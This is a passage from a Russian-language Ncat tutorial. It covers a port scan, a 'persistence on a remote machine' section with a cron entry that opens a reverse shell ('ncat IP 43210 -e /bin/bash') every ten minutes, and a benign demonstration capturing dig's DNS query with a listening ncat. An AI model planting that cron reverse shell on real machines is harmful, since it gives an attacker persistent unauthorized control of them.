nc -v -n -z -w1 [Целевой_IP] [начальныйПорт]-[конечныйПорт]

Закрепление на удалённой машине

На удалённой машине установка запуска ncat с помощью Cron каждые 10 минут:

crontab -e
*/10 * * * * ncat IP 43210 -e /bin/bash

Эмуляция диагностических служб

Поскольку Ncat может выступать в роли сервера который принимает что угодно и выводит это на экран (или сохраняет в файл), то можно запустить Ncat в режиме прослушивания, а в программе, чья сетевая активность нас интересует, мы можем указать адрес Ncat. В результате программа обратиться к Ncat, а в свою очередь Ncat покажет нам всё, что ей прислала эта программа.

Допустим, мне интересно, какой запрос отправляет команда dig — эта команда используется для преобразования имён хостов в IP адреса и обратно. Я знаю, что по умолчанию она использует UDP протокол на 53 порту. Поэтому у себя на компьютере я запускаю ncat с опцией -l (включает прослушивания), с опцией -u (означает использовать порт UDP) и с указанием порта 53:

sudo ncat -l -u 53

На этом же компьютере в другой консоли я делаю запрос, где в качестве сервера, к которому должна обратиться программа, указываю localhost:

dig hackware.ru @localhost

Как оказалось, программа dig использует не простой текст, а двоичные данные, поэтому в консоли ncat отобразились нечитаемые символы. Хотя даже так видно, что домен передаётся в виде простого текста (почти) и делается 3 попытки. Кстати, у Ncat есть опции для сохранения бинарных данных. То есть при желании я могу их правильно сохранить и затем анализировать в шестнадцатеричном редакторе.

Дополнительные подробности и примеры смотрите на странице: https://nmap.org/ncat/guide/ncat-simple-services.html

Заключение

В данной статье рассмотрено много примеров использования Ncat, но далеко не все. О других опциях Ncat вы можете узнать на её справочной странице.

Что касается случаев применения Ncat, то их может быть ещё больше. Не забывайте о возможности комбинировать между собой функции данной утилиты.


Рекомендуется Вам:

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *